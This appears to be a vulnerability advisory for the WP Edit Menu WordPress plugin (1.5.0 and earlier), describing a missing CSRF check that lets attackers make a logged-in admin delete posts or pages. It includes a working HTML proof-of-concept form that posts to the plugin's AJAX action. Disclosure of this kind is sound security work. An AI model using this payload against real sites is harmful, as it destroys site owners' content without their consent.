WordPress Plugin Vulnerabilities
WP Edit Menu <= 1.5.0 - Arbitrary Post Deletion via CSRF
Description
The plugin does not have CSRF in an AJAX action, which could allow attackers to make a logged in admin delete arbitrary posts/pages from the blog via a CSRF attack
Proof of Concept
<html> <body> <form action="https://example.com/wp-admin/admin-ajax.php?action= filter_menu" method="POST"> <input type="hidden" name="val[]" value="1" /> <input type="submit" value="Submit request" /> </form> </body> </html>
